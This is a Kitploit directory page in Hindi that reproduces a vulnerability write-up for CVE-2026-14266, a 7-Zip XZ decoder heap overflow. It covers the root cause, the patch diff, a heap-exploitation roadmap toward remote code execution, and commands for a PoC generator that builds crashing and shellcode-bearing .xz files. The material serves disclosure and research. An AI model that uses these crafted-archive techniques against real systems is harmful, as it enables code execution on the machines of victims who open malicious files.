Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-14266 — 7-Zip XZ Decoder Heap Buffer Overflow - पूर्ण विश्लेषण, मूल कारण, PoC, और RCE शोषण रोडमैप | Kitploit
उपकरण/GitHubGitHub/liyuxuan504-byte/cve-2026-14266
मेमोरी फोरेंसिकभेद्यता विश्लेषणकोड विश्लेषणशोषणरिवर्स इंजीनियरिंगशेलकोडडीबगर्सबाइनरी विश्लेषणपेलोड डेवलपमेंटबाइनरी शोषण
GitHubliyuxuan504-byte/cve-2026-14266
1373 महीने पहलेअभी तक समीक्षित नहीं
साझा करें

CVE-2026-14266

7-Zip XZ Decoder Heap Buffer Overflow - पूर्ण विश्लेषण, मूल कारण, PoC, और RCE शोषण रोडमैप

रिपॉजिटरी देखें

CVE-2026-14266 — 7-ज़िप XZ डिकोडर हीप बफर ओवरफ़्लो

गंभीर गंभीरता | CVSS: 8.8 (उच्च) | CWE-122: हीप-आधारित बफर ओवरफ़्लो
प्रभावित: 7-ज़िप ≤ 26.01 | पैच किया गया: 7-ज़िप 26.02 (2026-06-25)
खोज और विश्लेषण: Li Yuxuan (liyuxuan504-byte) और टीम द्वारा


कार्यकारी सारांश

7-ज़िप संस्करण ≤ 26.01 के मल्टी-थ्रेडेड XZ डिकोडर पथ में एक हीप बफर ओवरफ़्लो मौजूद है। एक दुर्भावनापूर्ण रूप से तैयार किया गया .xz संग्रह हीप-आवंटित आउटपुट बफर से परे एक आउट-ऑफ-बाउंड राइट को ट्रिगर कर सकता है, जिसके परिणामस्वरूप:

  • सेवा से वंचित (पुष्टि) — STATUS_ACCESS_VIOLATION (0xC0000005) के साथ विश्वसनीय क्रैश
  • दूरस्थ कोड निष्पादन (संभावित) — नियंत्रित हीप ओवरफ़्लो सही हीप लेआउट स्थितियों के तहत फ़ंक्शन पॉइंटर / वीटेबल भ्रष्टाचार को सक्षम बनाता है

यह कमजोरी C/XzDec.c में MixCoder_Code() में स्थित है, जहां SingleBuf (outBuf) शाखा शेष बफर क्षमता (outBufSize - outWritten) के विरुद्ध इसे क्लैंप किए बिना LZMA2 डिकोडर को एक अनियंत्रित destLen2 पास करती है।

कोई भी सिस्टम या एप्लिकेशन जो अविश्वसनीय .xz फ़ाइलों को निकालने के लिए कमजोर 7-ज़िप (या 7z.dll) का उपयोग करता है, जोखिम में है — मल्टी-कोर सिस्टम पर मल्टी-थ्रेडेड पथ डिफ़ॉल्ट रूप से सक्षम है।


कमजोरी की गहराई

प्रभावित कोड पथ

XZ Stream → XzUnpacker_Code (XZ_STATE_BLOCK)
  → MixCoder_Code(outBuf branch, p->outBuf != NULL)
    → destLen2 = destLenOrig          // ← NO boundary clamp
    → Lzma2State_Code2(..., &destLen2)
      → dicLimit = dicPos + destLen2  // ← can exceed dicBufSize
        → Lzma2Dec_DecodeToDic(...)
          → LZMA2 copy-chunk loop: memcpy(dic + dicPos, src, size)
            → dicPos exceeds dicBufSize → HEAP OVERFLOW

मूल कारण (26.01 बनाम 26.02)

कमजोर (26.01) — C/XzDec.c ~L606:

if (p->outBuf) {
    SizeT destLen2, srcLen2;
    srcLen2 = srcLenOrig;
    destLen2 = destLenOrig;              // ← raw value, no clamping!
    {
        IStateCoder *coder = &p->coders[0];
        res = coder->Code2(coder->p, NULL, &destLen2, src, &srcLen2,
                           srcWasFinished, finishMode, &p->status);
    }
    p->outWritten += destLen2;           // ← tracks total but never checks
}

फिक्स किया गया (26.02) — C/XzDec.c ~L605:

if (p->outBuf) {
    SizeT destLen2;
    destLen2 = destLenOrig;
    if (p->numCoders != 1) {             // ★ NEW boundary check
        if (destLen2 < p->outWritten)
            return SZ_ERROR_FAIL;        // data inconsistency → abort
        destLen2 -= p->outWritten;       // clamp to remaining capacity!
    }
    *srcLen = srcLenOrig;
    {
        IStateCoder *coder = &p->coders[0];
        res = coder->Code2(coder->p, NULL, &destLen2, src, srcLen,
                           srcWasFinished, finishMode, &p->status);
    }
    p->outWritten += destLen2;
}

फिक्स 3 पंक्तियों का है। यह LZMA2 डिकोडर को पास करने से पहले destLen2 से p->outWritten (इस outBuf में पहले से लिखे गए बाइट्स) घटाता है, यह सुनिश्चित करता है कि डिकोडर आवंटित बफर से परे कभी न लिखे।

केवल मल्टी-थ्रेडेड क्यों?

सिंगल-थ्रेडेड पथ में, XzUnpacker_Code MixCoder_Code को कॉल करने से पहले अपना स्वयं का unpackSize-आधारित rem क्लैंप लागू करता है। यह क्लैंप आउटपुट को सही ढंग से सीमित करता है। मल्टी-थ्रेडेड SingleBuf पथ इस क्लैंप को बायपास करता है क्योंकि यह destLenOrig को सीधे पास करता है — जब destLen वास्तविक बफर शेष क्षमता के बजाय पूर्ण शेष इनपुट आकार पर पूर्व-सेट होता है तो अपस्ट्रीम क्लैंप अप्रभावी होता है।


शोषण विश्लेषण

हीप आवंटन व्यवहार

outBuf CRT हीप पर ISzAlloc_Alloc(allocMid, unpackSize) के माध्यम से आवंटित किया जाता है:

unpackSizeआवंटकशोषण क्षमता
≤ 16 केबीLFH (लो फ्रैग्मेंटेशन हीप)★ RCE के लिए सर्वश्रेष्ठ — उसी बकेट में आसन्न ऑब्जेक्ट
16–64 केबीसेगमेंट हीप (बैकएंड)संभव — फ्री-लिस्ट भ्रष्टाचार
≥ 64 केबीVirtualAlloc (पेज-संरेखित)केवल DoS — गार्ड पेज ओवरफ़्लो को फंसाता है

RCE रणनीति (LFH पथ)

सबसे आशाजनक शोषण दृष्टिकोण:

  1. LFH आवंटन को ट्रिगर करने के लिए छोटे unpackSize (256–16384 बाइट्स) का उपयोग करें
  2. आसन्न LFH उप-खंडों में outBuf से परे ओवरफ़्लो करें
  3. LFH फ्री-लिस्ट next पॉइंटर को भ्रष्ट करें → मनमाना-आवंटन प्रिमिटिव प्राप्त करें
  4. लक्ष्य पर आवंटित करें (फ़ंक्शन पॉइंटर, वीटेबल, रिटर्न पता)
  5. भ्रष्ट पॉइंटर को ट्रिगर करें → कोड निष्पादन

वर्तमान स्थिति

क्षमतास्थिति
DoS (क्रैश)✅ पुष्टि, 7-ज़िप 26.00 x64 पर विश्वसनीय
साइलेंट हीप ओवरफ़्लो (LFH)✅ पुष्टि — बफर से परे लिखता है, एग्ज़िट कोड 2, कोई क्रैश नहीं
नियंत्रित पेलोड वितरण✅ LZMA2 कॉपी-चंक डेटा के माध्यम से पूरी तरह से नियंत्रणीय
हीप लेआउट प्रिमिटिव्स✅ अवधारणा सिद्ध — लक्ष्य-विशिष्ट लेआउट ट्यूनिंग की आवश्यकता है
पूर्ण RCE श्रृंखला❌ प्रगति पर — लक्ष्य पर हीप लेआउट विश्लेषण की आवश्यकता है

डिबगिंग मुश्किल क्यों है

पारंपरिक डिबगर्स (x64dbg, WinDbg) प्रक्रिया निर्माण व्यवहार को बदल देते हैं। डिबगर के तहत, 7z.dll कभी भी मल्टी-थ्रेडेड XZ पथ लोड नहीं कर सकता है — प्रक्रिया चुपचाप सिंगल-थ्रेडेड मोड में वापस आ जाती है जहां कमजोरी ट्रिगर नहीं होती है। आवश्यक दृष्टिकोण:

  • 7z.exe को डिबगर के बाहर लॉन्च करें
  • 1–2 सेकंड के भीतर अटैच करें (क्रैश से पहले)
  • या कस्टम मिनी-डिबगर का उपयोग करें (tools/ में प्रदान किया गया)

PoC जनरेटर

poc/poc-cve-2026-14266-rce.py एक पूर्ण-विशेषताओं वाला XZ शोषण जनरेटर है:

त्वरित प्रारंभ

# Crash confirmation (DoS):
python poc/poc-cve-2026-14266-rce.py -o crash.xz

# Offset discovery (cyclic pattern):
python poc/poc-cve-2026-14266-rce.py \
    --unpack-size 4096 --overflow 16384 --chunk-size 97 \
    --payload-cyclic -o find-offset.xz

# Shellcode payload:
python poc/poc-cve-2026-14266-rce.py \
    --unpack-size 4096 --overflow 16384 --chunk-size 97 \
    --payload-shellcode -o exploit.xz

# Custom binary payload:
python poc/poc-cve-2026-14266-rce.py \
    --payload-file shellcode.bin --unpack-size 512 --overflow 8192 -o custom.xz

मुख्य पैरामीटर

पैरामीटरविवरणअनुशंसित
--unpack-sizeब्लॉक घोषित unpackSize (= outBuf आवंटन आकार)LFH RCE के लिए 256–4096
--overflowoutBuf से परे लिखने के लिए कुल बाइट्स4096–32768
--chunk-sizeLZMA2 कॉपी-चंक डेटा आकार (1–65535)पूर्ण रूप से unpackSize को विभाजित नहीं करना चाहिए! प्राइम (97) या --force-align-overflow का उपयोग करें
--payload-cyclicऑफसेट खोज के लिए चक्रीय पैटर्नपहले उपयोग करें, फिर वास्तविक पेलोड से बदलें
--payload-shellcodeWin x64 WinExec("calc.exe") शेलकोड एम्बेड करें~276 बाइट्स

ट्रिगर

# Multi-threaded (vulnerable path):
7z.exe x poc.xz -so -mmt=2 > NUL

# Single-threaded (NOT vulnerable — for comparison):
7z.exe x poc.xz -so -mmt=1 > NUL

परीक्षण परिणाम

परीक्षण किया गया: Windows 11 Pro x64 (build 26200) + 7-ज़िप 26.00

unpackSizechunk_sizeओवरफ़्लोपरिणाम
256 केबी (0x40000)4096 (संरेखित)~32 केबी0xC0000005 — एक्सेस उल्लंघन (गार्ड पेज)
256 केबी3 (मूल DoS)~30 केबी0xC0000005 — एक्सेस उल्लंघन
256 केबी4096~32 केबी0xC0000374 — हीप भ्रष्टाचार का पता चला
256 बी97~1 केबीएग्ज़िट 2 — साइलेंट ओवरफ़्लो!
4 केबी97~16 केबीएग्ज़िट 2 — साइलेंट ओवरफ़्लो!
16 केबी97~32 केबीएग्ज़िट 2 — साइलेंट ओवरफ़्लो!

मुख्य अंतर्दृष्टि: सभी LFH-रेंज (≤16 केबी) आवंटन साइलेंट ओवरफ़्लो उत्पन्न करते हैं — पेलोड डेटा बिना तत्काल क्रैश के आसन्न हीप ऑब्जेक्ट्स पर लिखा जाता है। यह RCE शोषण के लिए पूर्वापेक्षा है।


क्रैश पॉइंट (लाइव डिबगिंग)

एक लाइव x64dbg सत्र से (7-ज़िप 26.00, MT पथ):

Fault instruction:  mov byte ptr [rcx], r11b
Fault address:      msvcrt.dll + 0x7B1EE (memcpy inner byte-copy loop)
Fault VA (rcx):     0x12363C50002 = outBuf_base + 0x40002
                    (2 bytes past the 0x40000-byte outBuf)

Decoder struct (rbx = 0x12363B0BB00):
  +0x28: outBuf base   = 0x12363C10000
  +0x30: outBuf capacity = 0x40000 (262144 = unpackSize)
  +0x38: write cursor  = 0x40000 (ALREADY FULL when overflow begins)
टूल डाउनलोड करें

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 अंतिम OSINT टूलकिट: जाँच ग्राफ़, विश्वास स्कोरिंग, उपनाम परिवार, मानचित्र, टाइमलाइन और रिपोर्ट। 49 मॉड्यूल, 400+ साइटें, किसी API कुंजी की आवश्यकता नहीं।

    916
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # घोस्टलॉक वन-टैप निष्पादन ऐप (CVE-2026-43499)

    558
  • 3

    redforge

    cybersecurity91/redforge

    ब्राउज़र-साइड रेड टीम टूलकिट, जिसमें रेकॉन, पेलोड जनरेशन, क्रेडेंशियल हमलों, क्रिप्टो, एन्कोडिंग और एंगेजमेंट रिपोर्टिंग के लिए 102 ऑफ़लाइन टूल्स हैं।

    370
  • 4

    ARTEX

    baarai/artex

    प्लानर/वर्कर एजेंट, एसेट और एक्सप्लोरेशन ग्राफ़, MITM ट्रैफ़िक रिकॉर्डिंग, और भेद्यता पुनःपरीक्षण के साथ LLM मल्टी-एजेंट स्वायत्त पेनेट्रेशन टेस्टिंग प्लेटफ़ॉर्म।

    360
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT प्लेटफ़ॉर्म जो Shadowserver रिपोर्ट्स को MongoDB में इनजेस्ट करता है और उन्हें इंटरैक्टिव मैप्स, विश्लेषण, निष्कर्षों, सलाहों और कार्यकारी डैशबोर्ड के रूप में पुनः प्रस्तुत करता है।

    317
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    AI-मूल साइबरसुरक्षा के लिए कार्रवाई की प्रणाली—जहाँ इरादा नियंत्रित निष्पादन बन जाता है, साक्ष्य परिचालन स्मृति बन जाता है, और हर ऑपरेशन अगले को बेहतर बनाता है।

    289

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →